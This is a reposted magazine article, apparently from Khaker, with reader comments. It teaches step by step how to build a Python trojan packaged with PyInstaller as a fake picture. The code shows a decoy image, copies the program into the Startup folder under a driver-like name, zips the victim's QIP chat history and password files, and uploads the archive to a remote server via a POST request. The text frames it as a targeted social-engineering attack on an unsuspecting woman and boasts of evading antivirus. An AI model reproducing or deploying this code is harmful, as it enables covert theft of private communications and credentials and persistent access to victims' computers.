Моя стаття з 12 випуска журналу Хакер, як завжди з помилками, і без виправлень.
Троянский Змей
Сказ о троянописании на Python'e
Когда-то Лёня Да Винчи скачал "Существует три разновидности людей: те, кто видит; те, кто видит, когда им показывают; и те, кто не видит". Но в наше время я бы еще добавил группу - те кто видят все, когда им это нужно. Чтобы в ней быть, нужно уметь получать любую информацию - это умение и будем развивать с помощью Python.
Один из вечных холиваров существует по поводу выбора языка програминга для троя. Одни кричат, что лишь на Asm'е пишется что-то нормальное. Другая групка молится на Си. И Дельфисты также не молчат о преимуществах именно их языка. Каждый из них абсолютно прав, ведь всегда найдется задача для которой конкретный язык идеально подойдет. В трояностроительном цеху Python'у также нашлось место, но ограниченое лишь мобильными девайсами. Это и понятно, ведь для запуска скрипта нужен интерпретатор, который почти нигда не установлен у жертвы на обычном компе. Только честно говоря это кажется проблемой лишь на первый взгляд и мы ее легко решим.
Нужно понимать что Python'новский троян целесообразно использовать лишь для точечных атак. К примеру такая задачка, 1 девченка типо блондинко, 1 аська типо qip и наше огромное желание почитать всю историю переписки. Используя социальную инженерию легко попросить посмотреть новую кульную картинку даже если она с расширением "exe" ;). Остается лишь самая малая задачка - сделать этот екзешник.
PyInstaller
На сайте http://pyinstaller.org/ хостится важнейшая тулза для будущего троя. Это набор скриптов, которые из обычного py-скрипта позволяют сделать exe-шник. Скачай ее с сайта или с диска и давай потестим. Пусть ты ее распаковал на диск D:, тогда сначала сконфигурируй:
D:\pyinstaller> Configure.pyТеперь для теста в папке D:\test\ создай Питоновский скрипт test.py:
print "OK"
open("ok.txt","w").write('ok')Создания exe-шника происходит в 2 этапа. Сначала скриптом Makespec.py записывается файл "spec" с параметрами "компиляции", а потом скрипт Build.py непосредственно создает exe. Скрипт Makespec.py, кроме пути к py-файлу принимает много разных параметров, но нам важны лишь такие:
- "F", на выходе получим один лишь exe-шник;
- "w", не показывать консоль, без этого параметра по-умолчанию программа запускается с консольным окном;
- "X", использовать UPX для сжатия exe;
- "--icon=file.ico", использовать указанную иконку.Во время разработки желательно лишь использовать параметр "F" - чтобы был один файл и окно, где б мы видели ошибки, если они будут. А потом уже оттестированное приложение можно и запустить с остальными параметрами. Давай проверим все и скомпилим наш тестовый файл:
D:\pyinstaller> Makespec.py -F -w -X d:\test\test.py
D:\pyinstaller> Build.py d:\pyinstaller\test\test.specНесколько секунд ожидания и результат работы в папке: d:\pyinstaller\test\dist\. Наш test.exe получился размером в 2.4Мб, и если его запустить, то может показаться что ничего не сработало - так как не будет никакого окна. Хотя видим что ok.txt создается, значить все отлично работает. Теперь зная как создать exe-шник, можно б приступить к написанию скрипта трояна.
Картинка To String
Мы помним, что нашей блондинке должны показать крутую картинку, тоесть наш трой должен сначала показать картинку для правдоподобности, а потом уже копировать себя в автозагрузку и отослать нам архив с историей аськи. Поскольку все должно быть в одном py-файле, то чтобы в исходник трояна поместить картинку нужно ее сжать, а потом закинуть в base64 - чтобы была простой строкой. Немножко Питоновской магии с обьектом gzip.GzipFile, которому при создании указываем куда сохранять уже сжатые данные, и получаем такой код который читает файл my.jpg, сжимает, кодирует функцией base64.encodestring в строку base64 и уже строку-изображение сохраняет в rez_img.txt:
import StringIO, gzip, base64
zbuf = StringIO.StringIO()
zfile = gzip.GzipFile(mode='wb', fileobj=zbuf)
zfile.write(open('my.jpg','rb').read())
zfile.close()
open('rez_img.txt','w').write(
base64.encodestring(zbuf.getvalue())
)Теперь, имея строку-изображение начнем писать троя. И вначале файла troj.py поместим в переменную img нашу картинку с rez_img.txt, что примерно выглядит так с описанием логики приложения:
img = '''
H4sIAMW28E...
'''
import sys
#если мы запущены первый раз
if (sys.argv[0].find('Startup')==-1):
#создать картинку из img и показать ее
#узнать папку с автозагрузкой
#скопировать себя в автозагрузка
#создать архив qip и отослать на сервер
else:
#достать команду на сервере и исполнить ееГде в начале мы проверям запущены мы с автозагрузки или нет. И если не из папки автозагрузки, то выполняем сначала отвлекающие действия.
String To Картинка To Блондинко
Розпаковка файла почти какая как и паковка расписанная више, поэтому эту часть лучше посмотреть в исходниках на диске. Лишь ньюанс, что файл картинки берем из названия нашего exeшника, чтобы уменьшить паливность:
file_src = sys.argv[0]
img_name= file_src.split('\\')[-1].split('.')[0]
img_name += '.jpg'Хотя вместо выше приведенного кода можно б использовать стандартную функцию для отделения имени от пути, но мне проще так, ежели лазить по справочнику. Картинка создана, остается лишь исполнить ее используя библиотеку subprocess:
import subprocess
subprocess.Popen(img_name, shell=True)И поскольку указали shell=True картинка откроется так, как и при обычном дабл-кликом.
Автозапуск
Самый простой способ автозапуска нашей проги - скопировать себя в папку автозагрузки:
import shutil
shutil.copy(sys.argv[0], r'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\driver_video.exe')Как видим, учебный троян заточет лишь под английскую версию windows 7, поэтому для работы с другими версиями константы путей нужно поменять. Или их динамически вытаскивать с стандартных переменных Винды:
%windir%
%APPDATA%
%TEMP%Копируем все!
Теперь мы отвлекли внимание юзера, закрепились в автозагрузке и можем исполнить прямое наше назначение и отослать на сервер архив папки с историей и паролями qip'a - C:\Program Files\QIP\Users\.
Создадим в папке Temp архив заюзав библиотеку zipfile. Для этого создадим обьект zipfile.ZipFile и рекурсивно пройдемся по папки qip добавляя в архив все файлы:
import zipfile
def addToZip(zf, path, zippath):
if os.path.isfile(path):
zf.write(path, zippath, zipfile.ZIP_DEFLATED)
elif os.path.isdir(path):
for nm in os.listdir(path):
addToZip(zf,
os.path.join(path, nm),
os.path.join(zippath, nm)
)
zip_file = r'C:\Windows\Temp\system_files.zip'
zf = zipfile.ZipFile(zip_file, 'w', allowZip64=True)
src = r'C:\Program Files\QIP\Users\\'
addToZip(zf, src, os.path.basename(src))
zf.close()Отослать получаный файл можно например через ftp, или послать post-запросом, как раз для второго воспользуемся библиотекой urllib2:
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
register_openers()
d,h=multipart_encode({"f": open(zip_file,"rb")})
request = urllib2.Request("http://s/f.php", d, h)
urllib2.urlopen(request)После написания этого наконец-то имеем рабочий троян, и можно создавать екзешник и предлагать скачать новую кульную картинку ;).
А есть ли будущее?
Резонный вопрос о будущем троянописании на Python'e, ведь размер полученого файла - вполне существенный. И это огромный минус. Но ведь плюсы также есть, такие как скорость написание и последующей модификации. А исходник можно очень легко шифровать и изменять по разному, что в следствии сигнатурный поиск антивирусов абсолютно безполезен. Быть или не быть - решать тебе. Если же будет нужна помощь, то ты знаеш где меня найти.



Comments
Проведение «точечных» атак, на которые рассчитана статья, в последнее время осложняется тем фактом, что антивирус установлен практически у каждого мало-мальски пользующимся компьютером (в т.ч. у «блондинки»). И пусть базы в нем не обновляются с момента установки, манипуляции рассмотренного трояна с объектами операционной системы режутся любым «несамописным» антивирусом :). Думаю, что исходный код, прилагающийся к статье, дальше концепта не мутирует.
Однако умеющим читать между строк материал окажется полезным. Например, набирающие популярность онлайн-сервисы , которые написаны с использованием Python’a, могут обзавестись оффлайновыми версиями. И не смотря на то, что уже есть подобные конвертеры php2exe, решающим фактором в пользу пайтона сыграет его «многопоточность».
светачка, светуля...
;)
То мою маму так звати, і музичний супровід - то як би маленький подарунок їй на Новий Рік!